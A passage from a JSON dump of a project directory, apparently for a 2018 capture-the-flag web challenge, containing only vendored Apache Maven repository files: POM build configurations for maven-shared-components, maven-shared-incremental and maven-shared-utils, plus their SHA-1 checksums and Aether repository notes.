<distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/shared/</url>\n    </site>\n  </distributionManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.7</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <versionPrefix>${project.artifactId}-</versionPrefix>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/shared</templateDirectory>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/shared/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/18/maven-shared-components-18.pom.sha1",
    "content": "b9aa57e02b5452a9b6cc9147e40bb0b53a7c8009"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/19/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:55 CST 2018\nmaven-shared-components-19.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/19/maven-shared-components-19.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>23</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-shared-components</artifactId>\n  <version>19</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Shared Components</name>\n  <description>Maven shared components</description>\n  <url>http://maven.apache.org/shared/</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-19</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-19</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-19</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-shared/</url>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/shared</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.site.cache>${user.home}/maven-sites</maven.site.cache><!-- TODO remove when upgrading parent to 23 -->\n    <maven.site.path>shared-archives/${project.artifactId}-${project.version}</maven.site.path>\n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.7</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <versionPrefix>${project.artifactId}-</versionPrefix>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/shared</templateDirectory>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/shared/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.2</version><!-- TODO remove when upgrading parent to 23 -->\n          <configuration>\n            <skipDeploy>true</skipDeploy><!-- don't deploy site with maven-site-plugin -->\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <version>1.0-beta-2</version>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n          <pubScmUrl>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</pubScmUrl>\n          <checkoutDirectory>${maven.site.cache}/${maven.site.path}</checkoutDirectory>\n          <tryUpdate>true</tryUpdate>\n        </configuration>\n        <executions>\n          <execution>\n            <id>scm-publish</id>\n            <phase>site-deploy</phase><!-- deploy site with maven-scm-publish-plugin -->\n            <goals>\n              <goal>publish-scm</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>site-release</id>\n      <properties>\n        <maven.site.path>shared/${project.artifactId}</maven.site.path>\n      </properties>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/19/maven-shared-components-19.pom.sha1",
    "content": "650a49682d4c82f060c7cc8005f8734a5fd86af9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/20/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:53 CST 2018\nmaven-shared-components-20.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/20/maven-shared-components-20.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>24</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-shared-components</artifactId>\n  <version>20</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven Shared Components</name>\n  <description>Maven shared components</description>\n  <url>http://maven.apache.org/shared/</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-20</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-20</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-20</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-shared/</url>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.site.path>shared-archives/${project.artifactId}-LATEST</maven.site.path>\n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.9</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <versionPrefix>${project.artifactId}-</versionPrefix>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/shared</templateDirectory>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/shared/tags</tagBase>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/20/maven-shared-components-20.pom.sha1",
    "content": "034b86be6c23134585eb70de40700e59d4afcf92"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-shared-incremental-1.1.jar>central=\nmaven-shared-incremental-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.jar.sha1",
    "content": "9d017a7584086755445c0a260dd9a1e9eae161a5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache.maven.shared</groupId>\n    <artifactId>maven-shared-components</artifactId>\n    <version>19</version>\n    <relativePath>../maven-shared-components/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven-shared-incremental</artifactId>\n  <version>1.1</version>\n  <name>Maven Incremental Build support utilities</name>\n  <description>\n    Various utility classes and plexus components for supporting \n    incremental build functionality in maven plugins.\n  </description>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-incremental-1.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-incremental-1.1</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-incremental-1.1</url>\n  </scm>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>https://jira.codehaus.org/browse/MSHARED/component/15650</url>\n  </issueManagement>\n\n  <properties>\n    <mavenVersion>2.2.1</mavenVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>${mavenVersion}</version>\n      <exclusions>\n        <exclusion>\n          <groupId>org.apache.maven.reporting</groupId>\n          <artifactId>maven-reporting-api</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-file</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-http-lightweight</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-ssh</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-ssh-external</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>commons-cli</groupId>\n          <artifactId>commons-cli</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>classworlds</groupId>\n          <artifactId>classworlds</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-interactivity-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-shared-utils</artifactId>\n      <version>0.1</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n      <version>1.5.5</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-api</artifactId>\n      <version>1.0-alpha-16</version>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.pom.sha1",
    "content": "c607b2c64c027151c440f27b5ec86e062b9e9953"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:56 CST 2018\nmaven-shared-utils-0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.1/maven-shared-utils-0.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven-shared-components</artifactId>\n    <groupId>org.apache.maven.shared</groupId>\n    <version>18</version>\n    <relativePath>../maven-shared-components/pom.xml/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-shared-utils</artifactId>\n  <name>Maven Shared Utils</name>\n  <version>0.1</version>\n  <description>Shared utils without any further dependencies</description>\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.1</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-utils-0.1</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <version>1.7.1</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <createDependencyReducedPom>true</createDependencyReducedPom>\n              <minimizeJar>true</minimizeJar>\n              <artifactSet>\n                <includes>\n                  <include>commons-io:commons-io</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.apache.commons.io</pattern>\n                  <shadedPattern>org.apache.maven.internal.commons.io</shadedPattern>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <configuration>\n          <excludeFilterFile>findbugs-exclude.xml</excludeFilterFile>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>.git/**/*</exclude>\n            <exclude>.idea/**/*</exclude>\n            <exclude>**/.svn/**/*</exclude>\n            <exclude>**/*.iml</exclude>\n            <exclude>**/*.ipr</exclude>\n            <exclude>**/*.iws</exclude>\n            <exclude>**/*.versionsBackup</exclude>\n            <exclude>.gitignore</exclude>\n            <exclude>src/test/resources/directorywalker/**/*</exclude>\n            <exclude>dependency-reduced-pom.xml</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.9</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>hamcrest-core</artifactId>\n          <groupId>org.hamcrest</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-lang3</artifactId>\n      <version>3.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>com.google.code.findbugs</groupId>\n      <artifactId>jsr305</artifactId>\n      <version>2.0.1</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <properties>\n    <mavenVersion>2.1.0</mavenVersion>\n  </properties>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.1/maven-shared-utils-0.1.pom.sha1",
    "content": "c638aa76e8eb374e14c4a3d25f66f36454645a54"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-shared-utils-0.3.pom>central=\nmaven-shared-utils-0.3.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/maven-shared-utils-0.3.jar.sha1",
    "content": "e6f2544f67d9747a8d293a8b2b628a6a6c24fdad"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/maven-shared-utils-0.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven-shared-components</artifactId>\n    <groupId>org.apache.maven.shared</groupId>\n    <version>18</version>\n    <relativePath>../maven-shared-components/pom.xml/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-shared-utils</artifactId>\n  <name>Maven Shared Utils</name>\n  <version>0.3</version>\n  <description>Shared utils without any further dependencies</description>\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.3</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.3</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-utils-0.3</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <version>1.7.1</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <createDependencyReducedPom>true</createDependencyReducedPom>\n              <minimizeJar>true</minimizeJar>\n              <artifactSet>\n                <includes>\n                  <include>commons-io:commons-io</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.apache.commons.io</pattern>\n                  <shadedPattern>org.apache.maven.internal.commons.io</shadedPattern>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <configuration>\n          <excludeFilterFile>findbugs-exclude.xml</excludeFilterFile>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>.git/**/*</exclude>\n            <exclude>.idea/**/*</exclude>\n            <exclude>**/.svn/**/*</exclude>\n            <exclude>**/*.iml</exclude>\n            <exclude>**/*.ipr</exclude>\n            <exclude>**/*.iws</exclude>\n            <exclude>**/*.versionsBackup</exclude>\n            <exclude>.gitignore</exclude>\n            <exclude>src/test/resources/directorywalker/**/*</exclude>\n            <exclude>dependency-reduced-pom.xml</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.9</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>hamcrest-core</artifactId>\n          <groupId>org.hamcrest</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-lang3</artifactId>\n      <version>3.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>com.google.code.findbugs</groupId>\n      <artifactId>jsr305</artifactId>\n      <version>2.0.1</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <properties>\n    <mavenVersion>2.1.0</mavenVersion>\n  </properties>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.3/maven-shared-utils-0.3.pom.sha1",
    "content": "504b5b905b80c6d88793949a7ea9aec375f9cceb"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-shared-utils-0.7.jar>central=\nmaven-shared-utils-0.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/maven-shared-utils-0.7.jar.sha1",
    "content": "0704e679088765e7df5e1ef3eef400c4a061c9ef"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/maven-shared-utils-0.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven-shared-components</artifactId>\n    <groupId>org.apache.maven.shared</groupId>\n    <version>20</version>\n    <relativePath>../maven-shared-components/pom.xml/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-shared-utils</artifactId>\n  <name>Apache Maven Shared Utils</name>\n  <version>0.7</version>\n  <description>Shared utils without any further dependencies</description>\n  <prerequisites>\n    <maven>2.2.1</maven>\n  </prerequisites>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.7</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.7</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-utils-0.7</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <version>2.3</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              